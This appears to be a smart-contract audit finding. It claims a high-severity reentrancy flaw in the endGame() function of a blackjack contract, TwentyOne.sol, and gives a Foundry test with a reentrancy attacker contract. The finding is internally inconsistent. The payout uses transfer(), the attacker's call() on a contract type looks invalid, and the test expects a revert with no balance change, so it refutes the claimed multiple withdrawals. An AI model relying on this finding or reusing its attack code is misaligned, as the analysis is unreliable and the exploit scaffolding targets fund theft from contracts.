A high severity vulnerability was identified in the TwentyOne.sol contract where the endGame() function is vulnerable to reentrancy attacks. This allows malicious actors to make multiple withdrawals.
function endGame(address player, bool playerWon) internal {
delete playersDeck[player].playersCards;
delete dealersDeck[player].dealersCards;
delete availableCards[player];
if (playerWon) {
payable(player).transfer(2 ether);
emit FeeWithdrawn(player, 2 ether);
}
}
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {TwentyOne} from "../src/TwentyOne.sol";
contract ReentrancyAttacker {
TwentyOne public targetContract;
uint256 public constant ATTACK_AMOUNT = 1 ether;
bool public attackInProgress;
constructor(address _targetContract) {
targetContract = TwentyOne(_targetContract);
}
receive() external payable {
if (attackInProgress) {
try targetContract.call{gas: gasleft()}() {
} catch {}
}
}
function attack() external payable {
attackInProgress = true;
targetContract.startGame{value: ATTACK_AMOUNT}();
targetContract.call();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
contract TwentyOneTest is Test {
TwentyOne public twentyOne;
ReentrancyAttacker public attacker;
address player = address(0x789);
function setUp() public {
twentyOne = new TwentyOne();
vm.deal(address(twentyOne), 100 ether);
vm.deal(player, 10 ether);
attacker = new ReentrancyAttacker(address(twentyOne));
vm.deal(address(attacker), 10 ether);
}
function testReentrancy() public {
assertGt(address(twentyOne).balance, 0, "Contract should have initial balance");
uint256 initialContractBalance = address(twentyOne).balance;
uint256 initialAttackerBalance = address(attacker).balance;
vm.prank(player);
vm.expectRevert();
attacker.attack();
assertEq(
address(twentyOne).balance,
initialContractBalance,
"Contract balance should not change"
);
}
}
slither .
Manual review
Foundry test framework